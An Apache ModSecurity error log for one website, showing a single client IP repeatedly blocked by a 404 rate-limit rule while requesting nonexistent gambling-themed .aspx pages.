[Sun Feb 22 01:53:14.340677 2026] [:error] [pid 3516:tid 3541] [client 51.83.237.175:41660] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZnxCktaWLejEJFWY3E_3wAAANY"]
[Sun Feb 22 01:53:18.016045 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:40554] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZnxDktaWLejEJFWY3E_5AAAAM0"]
[Sun Feb 22 01:53:20.087759 2026] [:error] [pid 3195:tid 3458] [client 51.83.237.175:40558] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZnxEA28anZ1nWyZCI5FnwAAAFM"]
[Sun Feb 22 01:53:22.057717 2026] [:error] [pid 4789:tid 4795] [client 51.83.237.175:40566] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZnxEq9_231lp37V1xxT8wAAAQQ"]
[Sun Feb 22 01:53:24.777664 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:40578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZnxFK9_231lp37V1xxT_gAAAQU"]
[Sun Feb 22 01:53:25.331056 2026] [:error] [pid 3179:tid 3432] [client 51.83.237.175:40584] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZnxFdgAWCcL8bTGJUUu7QAAABQ"]
[Sun Feb 22 01:53:28.997535 2026] [:error] [pid 3516:tid 3541] [client 51.83.237.175:42608] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZnxGEtaWLejEJFWY3E_7gAAANY"]
[Sun Feb 22 01:53:29.420888 2026] [:error] [pid 3195:tid 3458] [client 51.83.237.175:42616] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZnxGQ28anZ1nWyZCI5FqwAAAFM"]
[Sun Feb 22 01:53:32.448659 2026] [:error] [pid 4789:tid 4804] [client 51.83.237.175:42632] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZnxHK9_231lp37V1xxUDgAAAQ0"]
[Sun Feb 22 01:53:34.844438 2026] [:error] [pid 4789:tid 4800] [client 51.83.237.175:42634] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZnxHq9_231lp37V1xxUFQAAAQk"]
[Sun Feb 22 01:53:37.350215 2026] [:error] [pid 3204:tid 3475] [client 51.83.237.175:53132] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZnxIXAwnUMG8727rz4YyQAAAIk"]
[Sun Feb 22 01:53:40.850239 2026] [:error] [pid 3179:tid 3436] [client 51.83.237.175:53144] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZnxJNgAWCcL8bTGJUUvEwAAABg"]
[Sun Feb 22 01:53:43.241734 2026] [:error] [pid 3516:tid 3540] [client 51.83.237.175:53148] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZnxJ0taWLejEJFWY3E_-wAAANU"]
[Sun Feb 22 01:54:20.211783 2026] [:error] [pid 3204:tid 3482] [client 51.83.237.175:53154] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZnxTHAwnUMG8727rz4ZJQAAAJA"]
[Sun Feb 22 01:54:20.512193 2026] [:error] [pid 3195:tid 3458] [client 51.83.237.175:50774] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/168%20slot.aspx"] [unique_id "aZnxTA28anZ1nWyZCI5F8wAAAFM"]
[Sun Feb 22 01:54:22.395506 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:50758] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/168%20slot.aspx"] [unique_id "aZnxTg28anZ1nWyZCI5F9QAAAEM"]
[Sun Feb 22 01:54:22.468538 2026] [:error] [pid 3204:tid 3466] [client 51.83.237.175:45382] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aZnxTnAwnUMG8727rz4ZKgAAAIA"]
[Sun Feb 22 01:54:22.640893 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:45386] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZnxTq9_231lp37V1xxUgwAAAQw"]
[Sun Feb 22 01:54:24.406327 2026] [:error] [pid 3204:tid 3489] [client 51.83.237.175:45392] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aZnxUHAwnUMG8727rz4ZMAAAAJc"]
[Sun Feb 22 01:54:24.729792 2026] [:error] [pid 3179:tid 3418] [client 51.83.237.175:45396] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aZnxUNgAWCcL8bTGJUUvVAAAAAY"]
[Sun Feb 22 01:54:24.818029 2026] [:error] [pid 3204:tid 3482] [client 51.83.237.175:45406] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZnxUHAwnUMG8727rz4ZMgAAAJA"]
[Sun Feb 22 01:54:26.609761 2026] [:error] [pid 3204:tid 3487] [client 51.83.237.175:45418] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aZnxUnAwnUMG8727rz4ZOAAAAJU"]
[Sun Feb 22 01:54:26.955645 2026] [:error] [pid 3179:tid 3428] [client 51.83.237.175:44740] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZnxUtgAWCcL8bTGJUUvVQAAABA"]
[Sun Feb 22 01:54:27.043834 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:44746] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aZnxU69_231lp37V1xxUjgAAAQU"]
[Sun Feb 22 01:54:29.588910 2026] [:error] [pid 3516:tid 3541] [client 51.83.237.175:44762] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aZnxVUtaWLejEJFWY3FATAAAANY"]
[Sun Feb 22 01:54:30.059261 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:44766] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aZnxVg28anZ1nWyZCI5F_QAAAEo"]
[Sun Feb 22 01:54:30.356452 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:44780] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZnxVg28anZ1nWyZCI5F_gAAAFY"]
[Sun Feb 22 01:54:32.087920 2026] [:error] [pid 3516:tid 3529] [client 51.83.237.175:44788] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aZnxWEtaWLejEJFWY3FAUwAAAMo"]
[Sun Feb 22 01:54:32.276920 2026] [:error] [pid 3204:tid 3490] [client 51.83.237.175:44794] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZnxWHAwnUMG8727rz4ZSAAAAJg"]
[Sun Feb 22 01:54:32.353469 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:44806] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aZnxWEtaWLejEJFWY3FAVgAAANI"]
[Sun Feb 22 01:54:34.328059 2026] [:error] [pid 4789:tid 4810] [client 51.83.237.175:44822] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aZnxWq9_231lp37V1xxUqAAAARM"]
[Sun Feb 22 01:54:34.832203 2026] [:error] [pid 3204:tid 3473] [client 51.83.237.175:44830] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aZnxWnAwnUMG8727rz4ZUgAAAIc"]
[Sun Feb 22 01:54:35.634225 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:44844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aZnxWw28anZ1nWyZCI5GBQAAAEs"]
[Sun Feb 22 01:54:36.355761 2026] [:error] [pid 4789:tid 4801] [client 51.83.237.175:44858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aZnxXK9_231lp37V1xxUrwAAAQo"]
[Sun Feb 22 01:54:37.653175 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:60024] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aZnxXa9_231lp37V1xxUswAAAQw"]
[Sun Feb 22 01:54:38.442052 2026] [:error] [pid 3195:tid 3448] [client 51.83.237.175:60028] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aZnxXg28anZ1nWyZCI5GCQAAAEk"]
[Sun Feb 22 01:54:39.182920 2026] [:error] [pid 3204:tid 3479] [client 51.83.237.175:60036] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aZnxX3AwnUMG8727rz4ZVgAAAI0"]
[Sun Feb 22 01:54:39.993672 2026] [:error] [pid 3179:tid 3419] [client 51.83.237.175:60040] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aZnxX9gAWCcL8bTGJUUvagAAAAc"]
[Sun Feb 22 01:54:40.952426 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:60054] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZnxYK9_231lp37V1xxUuwAAARQ"]
[Sun Feb 22 01:54:42.059615 2026] [:error] [pid 3179:tid 3414] [client 51.83.237.175:60070] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnxYtgAWCcL8bTGJUUvcQAAAAI"]
[Sun Feb 22 01:54:42.525921 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:60076] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZnxYq9_231lp37V1xxUwAAAAQw"]
[Sun Feb 22 01:54:43.895321 2026] [:error] [pid 3204:tid 3466] [client 51.83.237.175:60082] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZnxY3AwnUMG8727rz4ZWgAAAIA"]
[Sun Feb 22 01:54:43.939743 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:60096] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZnxY69_231lp37V1xxUxAAAAQg"]
[Sun Feb 22 01:54:44.675686 2026] [:error] [pid 4789:tid 4808] [client 51.83.237.175:60098] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZnxZK9_231lp37V1xxUxwAAARE"]
[Sun Feb 22 01:54:46.175611 2026] [:error] [pid 3179:tid 3423] [client 51.83.237.175:60102] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnxZtgAWCcL8bTGJUUvegAAAAs"]
[Sun Feb 22 01:54:46.708733 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:60112] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZnxZnAwnUMG8727rz4ZXwAAAJQ"]
[Sun Feb 22 01:54:46.725193 2026] [:error] [pid 3179:tid 3419] [client 51.83.237.175:60128] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZnxZtgAWCcL8bTGJUUvfgAAAAc"]
[Sun Feb 22 01:54:48.657159 2026] [:error] [pid 4789:tid 4801] [client 51.83.237.175:52664] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZnxaK9_231lp37V1xxUzwAAAQo"]
[Sun Feb 22 01:54:48.915765 2026] [:error] [pid 3516:tid 3530] [client 51.83.237.175:52672] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZnxaEtaWLejEJFWY3FAcAAAAMs"]
[Sun Feb 22 01:54:48.997591 2026] [:error] [pid 3195:tid 3445] [client 51.83.237.175:52684] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZnxaA28anZ1nWyZCI5GFwAAAEY"]
[Sun Feb 22 01:54:51.395759 2026] [:error] [pid 3179:tid 3427] [client 51.83.237.175:52688] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZnxa9gAWCcL8bTGJUUvggAAAA8"]
[Sun Feb 22 01:54:51.587144 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:52696] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZnxaw28anZ1nWyZCI5GGgAAAFQ"]
[Sun Feb 22 01:54:51.929311 2026] [:error] [pid 3195:tid 3453] [client 51.83.237.175:52700] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZnxaw28anZ1nWyZCI5GGwAAAE4"]
[Sun Feb 22 01:54:53.542248 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:52702] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZnxbQ28anZ1nWyZCI5GHwAAAEo"]
[Sun Feb 22 01:54:53.654701 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:52716] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZnxbUtaWLejEJFWY3FAhgAAAM0"]
[Sun Feb 22 01:54:54.095424 2026] [:error] [pid 3516:tid 3529] [client 51.83.237.175:52724] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZnxbktaWLejEJFWY3FAhwAAAMo"]
